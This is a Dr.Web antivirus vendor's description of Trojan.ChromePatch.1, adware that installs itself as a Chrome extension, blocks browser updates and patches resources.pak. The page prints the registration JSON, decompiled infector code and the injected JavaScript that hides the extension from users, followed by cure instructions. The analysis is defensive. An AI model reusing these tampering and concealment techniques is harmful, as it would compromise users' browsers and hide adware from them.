Library
My library

+ Add to library

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

Your tickets

Profile

Trojan.ChromePatch.1

Added to the Dr.Web virus database: 2016-12-06

Virus description added:

SHA1:

  • 9347c6a90b3cf8479378755b58e2b49147320606

A Trojan implemented as a plug-in for the Google Chrome browser. It is designed to display annoying advertisements. The Trojan infects the file resources.pak. The examined sample is distributed via the TrayCalendar application by Trojan.Ticno.1537.

During installation, the Trojan removes the folder %programfiles%\google\update\ and block the browser updates. It then deletes all installed extensions and saves its own extension that looks as a file:

%ProgramFiles%\Google\Chrome\Application\*\default_apps\xls.crx

Then the Trojan registers it:


// Dictionary of default apps to install into new profiles.  Each entry maps
// the extension's id to its crx's path (relative to this file) and the version
// of the extension contained in the crx.
//
// When an extension is added or removed here, the two lists 'default_apps_list'
// and 'default_apps_list_linux_dest' in build/common.gypi must also be updated.
{
  "ngpampappnmepgilojfohadhhmbhlaek" : {
    "external_crx": "xls.crx",
    "external_version": "6.25.21.2"
  },
...

When launched next time, Google Chrome restores all deleted extensions. One of the Trojan’s functions is to infect resources.pak. When infected, the file remains of the same size because the Trojan searches the strings with comments in it and then replaces them with its code.


v68 = 0;
  v70 = L"\\resources.pak";
  v69 = 8;
  v6 = _vbaVarVargNofree(&v68, a5);
  v7 = _vbaVarCat(&v74, &v69, v6);
  _vbaVarMove(&v82, v7);
  v8 = _vbaStrCat(dword_4040F0, L"&h");
  v9 = _vbaStrMove(&v77, v8);
  rtcR8ValFromBstr(v9);
  v10 = _vbaFpI4();
  rtcVarBstrFromAnsi(&v74, v10);
  v11 = _vbaStrVarMove(&v74);
  _vbaStrMove(&v85, v11);
  _vbaFreeStr(&v77);
  _vbaFreeVar(&v74);
  v73 = 1;
  v72 = 2;
  v12 = _vbaStrCat(v85, L"  /**");
  v13 = _vbaStrMove(&v77, v12);
  v75 = _vbaStrCat(L"   * Utility function to find the width of various UI strings and synchronize", v13);
  v14 = *a4;
  v74 = 8;
  v15 = (*(int (__cdecl **)(int *, int *, int *, int *, int *))(v14 + 1792))(a4, &v82, &v74, &v72, &v71);
  if ( v15 < 0 )
    _vbaHresultCheckObj(v15, a4, dword_4038FC, 1792);
  _vbaVarMove(&v80, &v71);
  _vbaFreeStr(&v77);
  _vbaFreeVarList(2, &v74, &v72);
  v70 = (const wchar_t *)-1;
  v69 = 32770;
  if ( (unsigned __int16)_vbaVarTstNe(&v69, &v80) )
  {
    v16 = _vbaStrCat(v85, L"window.addEventListener('load', function(e) {");
    v17 = _vbaStrMove(&v77, v16);
    v75 = _vbaStrCat(L"  extensions.ExtensionSettings.getInstance().initialize();", v17);
    v74 = 8;
    _vbaVarMove(&v91, &v74);
    _vbaFreeStr(&v77);
    _vbaStrCopy(
      &v83,
      L"function y(){setInterval(function(e){if(document.getElementById('ngpampappnmepgilojfohadhhmbhlaek')!=null) documen"
       "t.getElementById('ngpampappnmepgilojfohadhhmbhlaek').remove();},10);}document.addEventListener('DOMContentLoaded',y,false);");
    v18 = (*(int (__cdecl **)(int *, int *, int *, int *, int *))(*a4 + 1792))(a4, &v82, &v91, &v80, &v74);

screen Trojan.ChromePatch.1 #drweb

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Download Dr.Web

Download by serial number

Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Download Dr.Web

Download by serial number

  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android